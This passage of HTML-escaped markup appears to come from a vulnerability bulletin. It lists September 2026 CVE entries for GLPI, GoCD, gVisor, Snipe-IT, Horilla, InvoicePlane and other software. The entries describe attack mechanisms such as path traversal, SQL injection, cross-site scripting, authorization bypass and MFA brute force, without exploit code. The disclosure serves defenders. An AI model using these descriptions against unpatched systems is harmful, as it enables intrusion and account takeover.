&lt;td&gt;GLPI is a free asset and IT management software package. From 10.0.0 until 10.0.26 and 11.0.8, any logged-in GLPI user can exploit insufficient path validation in the profile-picture update flow to request deletion of an attacker-selected file hosted by the server. This issue is fixed in versions 11.0.8 and 10.0.26.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47679&quot; target=&quot;_blank&quot;&gt;CVE-2026-47679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 11.0.0 until 11.0.8, a form administrator can use Form import with a crafted illustration or scene identifier that traverses outside the intended custom-asset directory. The imported file can be written to an executable server location, allowing a malicious script to be invoked remotely. This issue is fixed in version 11.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48482&quot; target=&quot;_blank&quot;&gt;CVE-2026-48482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 0.70 until 10.0.26 and 11.0.8, an authenticated hotliner or technician can submit crafted criteria through the user import feature to bypass the configured default LDAP filter. This allows access to LDAP objects that the default filter was intended to exclude. This issue is fixed in versions 11.0.8 and 10.0.26.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49469&quot; target=&quot;_blank&quot;&gt;CVE-2026-49469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 11.0.0 until 11.0.8, the time-based one-time password verification endpoint does not limit failed submissions per user. An attacker who has obtained a user&#039;s primary authentication credentials can repeatedly submit TOTP values against the MFA verification flow, making brute-force compromise of the second factor and subsequent account takeover possible. This issue is fixed in version 11.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49470&quot; target=&quot;_blank&quot;&gt;CVE-2026-49470&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 11.0.0 until 11.0.8, an attacker can craft a URL for a dashboard that reflects attacker-controlled markup without sufficient output encoding. A user who opens the crafted URL triggers reflected cross-site scripting in the dashboard. This issue is fixed in version 11.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53610&quot; target=&quot;_blank&quot;&gt;CVE-2026-53610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 0.70 until 10.0.26 and 11.0.8, a technician can manipulate the authtype value through the API to change another user&#039;s authentication method. Under configurations using the legacy API REST interface or SSO logins, this can change a super-administrator&#039;s authentication method and enable account takeover. This issue is fixed in versions 11.0.8 and 10.0.26.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53625&quot; target=&quot;_blank&quot;&gt;CVE-2026-53625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 11.0.5 until 11.0.8, under certain conditions, permission logic can grant access to a document without confirming that the document is linked to the targeted item. A user can use an unrelated item that the user is permitted to view to read a document linked to an inaccessible item. This issue is fixed in version 11.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53626&quot; target=&quot;_blank&quot;&gt;CVE-2026-53626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 11.0.0 until 11.0.8, a low-privileged authenticated user can use the new API (v2) to perform update operations that the same user is normally forbidden to perform through the user interface. The API update flow does not consistently enforce the applicable authorization checks. This issue is fixed in version 11.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53627&quot; target=&quot;_blank&quot;&gt;CVE-2026-53627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 0.84 until 10.0.26 and 11.0.8, an administrator holding the Update auth and sync or Update auth, sync and 2FA right can change the authentication method and disable two-factor authentication for user accounts outside the administrator&#039;s entity scope. The affected user-account administration flow did not consistently enforce the target user&#039;s entity-scoped update permission. This issue is fixed in versions 11.0.8 and 10.0.26.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53628&quot; target=&quot;_blank&quot;&gt;CVE-2026-53628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 9.4.0 until 10.0.26 and 11.0.8, an attacker with the READ right on logs can craft a URL for the history tab that injects attacker-controlled values into a database query. This permits SQL injection through the history tab endpoint. This issue is fixed in versions 11.0.8 and 10.0.26.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53629&quot; target=&quot;_blank&quot;&gt;CVE-2026-53629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 11.0.6 until 11.0.8, an authenticated technician can store active markup in supplier website fields. Any user who opens the affected item&#039;s suppliers list triggers the stored cross-site scripting payload. This issue is fixed in version 11.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55214&quot; target=&quot;_blank&quot;&gt;CVE-2026-55214&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;glpi-project--glpi&lt;/td&gt;
&lt;td&gt;GLPI is a free asset and IT management software package. From 0.85 until 10.0.26 and 11.0.8, a low-privileged authenticated user can create, update, or delete knowledge base comments and translations without the required authorization for the affected content. This issue is fixed in versions 11.0.8 and 10.0.26.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55217&quot; target=&quot;_blank&quot;&gt;CVE-2026-55217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU Wget (Windows Builds)--Wget&lt;/td&gt;
&lt;td&gt;A local cross-user code execution vulnerability exists in GNU wget (Windows builds from eternallybored.org) due to a hardcoded configuration file path (C:\msys64) that is writable by unprivileged users, allowing for arbitrary code execution via the use_askpass directive, potentially allowing local privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94574&quot; target=&quot;_blank&quot;&gt;CVE-2026-94574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Emacs&lt;/td&gt;
&lt;td&gt;GNU Emacs 28.1 through 31.1 allows arbitrary code execution upon opening a file, because an untrusted value of read-symbol-shorthands affects the intern and unintern functions. This affects the default configuration; no particular user settings are required to trigger it.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96269&quot; target=&quot;_blank&quot;&gt;CVE-2026-96269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. From 18.7.0 until 26.1.0, the Get Template Config API compares HTTP method names case-sensitively when selecting authorization filters. A lower-privileged authenticated user can send a request with nonstandard HTTP method capitalization to retrieve a pipeline template by name without the required view permission and read its configuration. API operations that modify data are not affected, secure variables remain encrypted, and deployments whose reverse proxy rejects non-uppercase HTTP methods are not affected. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52740&quot; target=&quot;_blank&quot;&gt;CVE-2026-52740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. From 18.3.0 until 26.1.0, GoCD can generate unescaped tracking-tool links from commit comments when a project uses a lenient Tracking Tool regular expression with an ID capturing group, such as JIRA-(.+). An attacker with commit access to a tracked material can place URI or HTML special characters in a matching commit comment, causing stored cross-site scripting when a victim views an affected Compare Pipeline page. Deployments without Tracking Tool integration, without an ID capturing group, or with conservative matchers that cannot match special characters are not affected. Successful exploitation can expose a privileged user session or allow changes using the victim&#039;s credentials and privileges. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52741&quot; target=&quot;_blank&quot;&gt;CVE-2026-52741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. From 12.3.1 until 26.1.0, legacy routes under /go/admin/restful/* expose historical full server configuration to pipeline group administrators instead of restricting responses to configuration for groups they administer. The disclosed configuration can include agent auto-registration keys, webhook invocation keys, encrypted material credentials, and GoCD administrator lists. A malicious pipeline group administrator can use disclosed agent registration data to connect a rogue compatible agent, which can create a higher-complexity path to receiving work or overwriting artifacts associated with other groups. Normal authenticated users are not affected, the endpoint does not modify server configuration, and deployments that restrict pipeline editing to full administrators or configuration repositories are not affected. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52742&quot; target=&quot;_blank&quot;&gt;CVE-2026-52742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines/**/upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy details and user-defined pipeline, stage, job, and artifact plugin reference names that the user cannot otherwise view in the UI. The endpoint is read-only and does not permit modification of pipeline data. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52744&quot; target=&quot;_blank&quot;&gt;CVE-2026-52744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. Prior to 26.1.0, GoCD can return unmasked credentials that administrators stored in the userinfo portion of source control material URLs through several read-only APIs available to regular authenticated users. Although GoCD recommends dedicated username and password fields or secret-management plugins, legacy configuration permits credentials in material URLs, and not every mixed-use API consistently applies URL masking for every material type. An authenticated user with access to an affected pipeline can obtain credentials embedded in its material URL, while dedicated password fields remain encrypted and are not exposed by this issue. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55870&quot; target=&quot;_blank&quot;&gt;CVE-2026-55870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. From 13.3.0 until 26.1.0, GoCD does not correctly encode and escape malicious material modification comments that mimic the special trackback format used by package materials when rendering the Stage Detail, Job/Build Detail, Value Stream Map, and Pipeline History views. A user with write access to a material tracked by GoCD can store arbitrary HTML or JavaScript in a forged package material comment, which executes in the browser session of a user who later views an affected page. Exploitation requires a victim to view a page that renders the malicious modification, and GoCD does not render every material comment in every view. Successful exploitation can expose a privileged user session or allow changes using the victim&#039;s credentials and privileges. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68919&quot; target=&quot;_blank&quot;&gt;CVE-2026-68919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;golang.org/x/playground--golang.org/x/playground&lt;/td&gt;
&lt;td&gt;A malicious txtar could escape the intended execution context and force arbitrary writes to the playground host&#039;s trusted filesystem. Disjointly, one of the three possible paths to invoke&amp;nbsp;go vet&amp;nbsp;on the playground host did not correctly restrict the execution environment. This permitted a Go process to make a read for an environment configuration file rooted in the playground host&#039;s $HOME. Together, a well-crafted go env file and the&amp;nbsp;go vet&amp;nbsp;invocation could lead to remote code execution in the playground host itself. This does not affect users of go.dev/play directly; however, it may affect&amp;nbsp;independent deployments of golang.org/x/playground.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94445&quot; target=&quot;_blank&quot;&gt;CVE-2026-94445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--gVisor&lt;/td&gt;
&lt;td&gt;Improper Exposure of Resource to Wrong Sphere in the host file helper (gofer) in Google gVisor prior to commit 573a9e73cf844f on Linux platforms with CUSE enabled allows a local attacker with container image deployment privileges to achieve root code execution on the host system. By including a /dev/cuse character device node in a container image, opening the device passes through to the host, allowing the sandboxed attacker to register a host device and exploit CUSE unrestricted ioctl handling to overwrite root udev helper memory.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96812&quot; target=&quot;_blank&quot;&gt;CVE-2026-96812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--mcp-toolbox-sdk-python&lt;/td&gt;
&lt;td&gt;A caching flaw in the toolbox-core package of the mcp-toolbox-sdk-python SDK causes the same Google ID token to be cached and reused across different audiences. If an application uses the SDK to authenticate to two or more different audiences within the same process, the module-level token cache fails to key its cached tokens by the requested audience. Consequently, a valid, unexpired token minted for a sensitive service (Service A) can be retrieved from the cache and sent to a secondary service (Service B). An attacker who operates, compromises, or monitors traffic to Service B can capture this token and replay it to impersonate the victim application against Service A.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19202&quot; target=&quot;_blank&quot;&gt;CVE-2026-19202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC --GPAC&amp;nbsp;&lt;/td&gt;
&lt;td&gt;A NULL pointer dereference vulnerability exists in the gf_sg_vrml_field_clone() function of GPAC 2d7da22e (26.08-DEV). The vulnerability occurs when cloning a PROTO default SFImage field with a NULL source pointer. An attacker can provide a specially crafted input file that triggers the condition, resulting in application crash and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88339&quot; target=&quot;_blank&quot;&gt;CVE-2026-88339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gray-matter --gray-matter&amp;nbsp;&lt;/td&gt;
&lt;td&gt;An issue in gray-matter All versions (verified on 4.0.3) allows the JavaScript engine in lib/engines.js using eval() to parse front matter when language is js/javascript.This allows arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78847&quot; target=&quot;_blank&quot;&gt;CVE-2026-78847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account&#039;s second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim&#039;s permissions and, for an administrator, can reach the users/two_factor_reset endpoint. Resetting the administrator&#039;s enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator&#039;s web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63493&quot; target=&quot;_blank&quot;&gt;CVE-2026-63493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HappyAddons for Elementor--HappyAddons for Elementor&lt;/td&gt;
&lt;td&gt;The HappyAddons for Elementor WordPress plugin before 3.50.0 does not escape an icon value on one of its button widgets before outputting it inside an HTML attribute, allowing users with Contributor-level access and above to inject event-handler attributes that execute JavaScript in the browser of anyone who views the page, including higher-privileged users reviewing the content, even though such users do not hold the unfiltered_html capability.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85006&quot; target=&quot;_blank&quot;&gt;CVE-2026-85006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hexpm--hexpm&lt;/td&gt;
&lt;td&gt;Insufficient Session Expiration vulnerability in OAuth token issuance in hexpm hexpm allows a user whose organization membership or session has ended to keep reading the organization&#039;s private packages and their documentation tarballs via a retained refresh token. generate_refresh_token/4 in lib/hexpm/oauth/jwt.ex signs the refresh token with the same iss, aud and scope claims as the access token, so it carries the same repository:&amp;lt;org&amp;gt; scopes. The CDN service that serves private repositories verifies the signature and time claims and then authorizes from the scope claim, with no database lookup and no way to tell the two token kinds apart. Removing a member or revoking a session therefore takes effect at the CDN only when the 30 day refresh token expires, instead of after the 30 minute access token lifetime. Access is read-only and limited to organizations the account belonged to when the token was granted. This issue affects hex.pm: from 2025-10-10 before 2026-09-22.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86698&quot; target=&quot;_blank&quot;&gt;CVE-2026-86698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hiredis -- hiredis&amp;nbsp;&lt;/td&gt;
&lt;td&gt;hiredis commit 29ea279 (post-v1.5.0) contains an uncontrolled memory allocation vulnerability in its RESP aggregate parser.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88382&quot; target=&quot;_blank&quot;&gt;CVE-2026-88382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;home-assistant--core&lt;/td&gt;
&lt;td&gt;Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.7.0, the Statistics Graph card in src/components/chart/statistics-chart.ts passed entity names through getStatisticLabel and computeStateName and interpolated param.seriesName into ECharts tooltip HTML without escaping. An authenticated user or an integration that supplies a malicious default entity name could cause script-related HTML to execute when a viewer hovered over a data point. Mean, State, Sum, and Change fields in the default Line chart configuration were affected, while Bar charts were not. This issue is fixed in version 2026.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91130&quot; target=&quot;_blank&quot;&gt;CVE-2026-91130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;horilla--horilla-hr&lt;/td&gt;
&lt;td&gt;Horilla is an HR and CRM software. Prior to 1.6.0, the search parameter at /employee/employee-filter-view is reflected by jQuery .html() in employee/templates/employee_nav.html without HTML neutralization. An external attacker can craft and deliver a link that causes JavaScript to execute when an authenticated employee or administrator reaches the employee filter, allowing access to browser-visible session data and actions with the victim&#039;s application privileges. This issue is fixed in version 1.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71483&quot; target=&quot;_blank&quot;&gt;CVE-2026-71483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;horilla--horilla-hr&lt;/td&gt;
&lt;td&gt;Horilla is an HR and CRM software. Prior to 2.0.0, approve_validate_attendance_request at /attendance/approve-validate-attendance-request/ changes attendance_validated, is_validate_request_approved, approved_by, and related pending-request state through an HTTP GET before calling attendance.save(), so Django does not require CSRF validation for the action. An unauthenticated attacker can cause a logged-in manager with attendance.change_attendance to make a top-level request that carries the manager&#039;s SameSite=Lax session cookie, silently approving attendance with the victim&#039;s privileges and attributing the approval to the victim in the audit trail. This issue is fixed in version 2.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86066&quot; target=&quot;_blank&quot;&gt;CVE-2026-86066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HP Inc--HP Support Assistant&lt;/td&gt;
&lt;td&gt;A potential security vulnerability has been identified in the HP Support Assistant for versions prior to 9.55.10.0. The vulnerability could potentially allow a local attacker to escalate privileges due to insufficient access controls.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19915&quot; target=&quot;_blank&quot;&gt;CVE-2026-19915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Humhub--Humhub&lt;/td&gt;
&lt;td&gt;HumHub 1.18.5 is affected by a stored cross-site scripting (XSS) vulnerability that allows any user holding the delegated, non-system-administrator Manage Users permission (admin_manage_users) to inject persistent HTML/JavaScript into a Profile Field Category title.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93769&quot; target=&quot;_blank&quot;&gt;CVE-2026-93769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;idccms--idccms V1.70&lt;/td&gt;
&lt;td&gt;idccms V1.70 is vulnerable to Cross Site Scripting (XSS) in /admin/makeDiy_deal.php.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88746&quot; target=&quot;_blank&quot;&gt;CVE-2026-88746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Imprivata--Imprivata Enterprise Access Management&lt;/td&gt;
&lt;td&gt;Imprivata EAM &amp;lt;=26.2.6 lacks the ability to rotate its RSA key pair after deployment when generating an X.509 certificate. Using an RSA key pair indefinitely for certificate generation is against best practices.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82356&quot; target=&quot;_blank&quot;&gt;CVE-2026-82356&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane fails to revoke administrative privileges after a role downgrade because Admin_Controller trusts the user_type snapshot stored in an existing session instead of revalidating ip_users.user_type. When one administrator downgrades another account, the target&#039;s active session continues to authorize administrative requests. The downgraded user can use Users::form() to set user_type back to 1, restoring the database role and making the privilege escalation persistent. This vulnerability is fixed in 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88003&quot; target=&quot;_blank&quot;&gt;CVE-2026-88003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ixofoundation--ixo-blockchain&lt;/td&gt;
